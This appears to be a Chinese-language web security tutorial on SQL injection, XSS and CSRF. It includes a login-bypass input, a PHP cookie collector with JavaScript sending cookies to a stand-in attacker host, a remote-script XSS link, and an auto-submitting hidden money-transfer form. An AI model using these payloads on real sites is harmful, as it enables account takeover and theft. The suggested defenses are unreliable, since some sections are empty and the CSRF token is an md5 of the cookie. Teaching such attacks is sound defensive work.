作者:quanweibai 文章來源:GitHub
Sql注入所謂SQL注入式攻擊,就是攻擊者把SQL命令插入到Web表單的輸入域或頁面請求的查詢字符串,欺騙伺服器執行惡意的SQL命令。攻擊者通過在應用程式預先定義好的SQL語句結尾加上額外的SQL語句元素,欺騙資料庫伺服器執行非授權的查詢,篡改命令。
攻擊原理
假設的登錄查詢
SELECT * FROM users WHERE login = 'victor' AND password = '123
Sever端代碼
String sql = "SELECT * FROM users WHERE login = '" + formusr + "' AND password = '" + formpwd + "'";
輸入字符
formusr = ' or 1=1
formpwd = anything
實際的查詢代碼
SELECT * FROM users WHERE username = ' ' or 1=1 AND password = 'anything'
如何防範
服務端特殊字符過濾: <、>、* 、& 等
使用ORM框架
參數化Sql查詢語句
Xss攻擊
XSS 全稱(Cross Site Scripting) 跨站腳本攻擊, 是Web程序中最常見的漏洞。指攻擊者在網頁中嵌入客戶端腳本(例如JavaScript), 當用戶瀏覽此網頁時,腳本就會在用戶的瀏覽器上執行,從而達到攻擊者的目的. 比如獲取用戶的Cookie,導航到惡意網站,攜帶木馬等。
分類:反射型和持久型
反射型
這種攻擊不經過資料庫,是從目標伺服器通過錯誤信息、搜索結果等等方式「反射」回來的,攻擊者通過電子郵件等方式將包含注入腳本的惡意連結發送給受害者,當受害者點擊該連結時,注入腳本被傳輸到目標伺服器上,然後伺服器將注入腳本「反射」到受害者的瀏覽器上,從而在該瀏覽器上執行了這段腳本。
這種漏洞主要存在於與用戶有交互的地方,如搜索框,如果後臺沒有對搜索的內容進行過濾,而原封不動的將搜索內容展示在dom中,則存在Xss漏洞
詳細攻擊方式如下:
<?php
$cookie = $_GET['q'];
var_dump($cookie);
$myFile = "cookie.txt";
file_put_contents($myFile, $cookie);
?>
var img = new Image();
img.src = "http://hacker.qq.com/hack.php?q="+document.cookie;
document.body.append(img);
<a href="http://xsstest.qq.com/search.php?q=%3Cscript+
src%3Dhttp%3A%2F%2Fhacker.qq.com%2Fhacker.js%3E%3C%2Fscript%3E&commend=
all&ssid=s5-e&search_type=item&atype=&filterFineness=&rr=
1&pcat=food2011&style=grid&cat=">點擊就送998</a>
假設http://xsstest.qq.com就是存在xss漏洞的網站,search.php後的q參數 ,解碼後為
<script src="http://hacker.qq.com/hacker.js"></script>
實際的作用是模擬用戶在搜索框中輸入
<script src="http://hacker.qq.com/hacker.js"></script>
後點擊搜索。search.php未經處理的將其直接輸入到頁面, 黑客就可以獲取用戶在xsstest.qq.com網站的cookie。
如何防範
持久型
他和反射型XSS最大的不同就是,攻擊腳本將被永久地存放在目標伺服器的資料庫和文件中。這種攻擊多見於論壇,攻擊者在發帖的過程中,將惡意腳本連同正常信息一起注入到帖子的內容之中。隨著帖子被論壇伺服器存儲下來,惡意腳本也永久地被存放在論壇伺服器的後端存儲器中。當其它用戶瀏覽這個被注入了惡意腳本的帖子的時候,惡意腳本則會在他們的瀏覽器中得到執行,從而受到了攻擊。
如上例中的hack.js, 如果用戶輸入的內容是hack.js中的內容,而網站沒有對用戶輸入的內容進行審查就存入資料庫,然後在論壇帖子中展示,其他用戶在瀏覽論壇的時候就會在瀏覽器中執行hack.js的js腳本。
如何防範
CSRF
CSRF(Cross-site request forgery),中文名稱:跨站請求偽造,也被稱為:one click attack/session riding,縮寫為:CSRF/XSRF。
你這可以這麼理解CSRF攻擊:攻擊者盜用了你的身份,以你的名義發送惡意請求。CSRF能夠做的事情包括:以你名義發送郵件,發消息,盜取你的帳號,甚至於購買商品,虛擬貨幣轉帳.造成的問題包括:個人隱私洩露以及財產安全。
原理
網站A :為惡意網站。
網站B :用戶已登錄的網站。
當用戶訪問 A站 時,A站 私自訪問 B站 的操作連結,模擬用戶操作。
假設B站有一個刪除評論的連結:http://b.com/comment/delete?id=81723
A站 直接訪問該連結,就能刪除用戶在 B站 的評論。
CSRF 與 Xss 最大的區別是:CSRF不直接獲取用戶的cookie, 而Xss 則會直接獲取用戶的Cookie
如果用戶訪問了某一個銀行的網站忘記登出了, 然後又訪問了一個惡意網站,而惡意網站中存在以下代碼,則發生CSRF
<html>
<head>
<script type="text/javascript">
function steal()
{
iframe = document.frames["steal"];
iframe.document.Submit("transfer");
}
</script>
</head>
<body onload="steal()">
<iframe name="steal" display="none">
<form method="POST" name="transfer" action="http://www.myBank.com/Transfer.php">
<input type="hidden" name="toBankId" value="11">
<input type="hidden" name="money" value="1000">
</form>
</iframe>
</body>
</html>
如何防範
<?php
$hash = md5($_COOKIE['cookie']);
?>
<form method=」POST」 action=」transfer.php」>
<input type=」text」 name=」toBankId」>
<input type=」text」 name=」money」>
<input type=」hidden」 name=」hash」 value=」<?=$hash;?>」>
<input type=」submit」 name=」submit」 value=」Submit」>
</form>
然後在伺服器端進行Hash值驗證。
_____ end _____
關注公眾號:HACK之道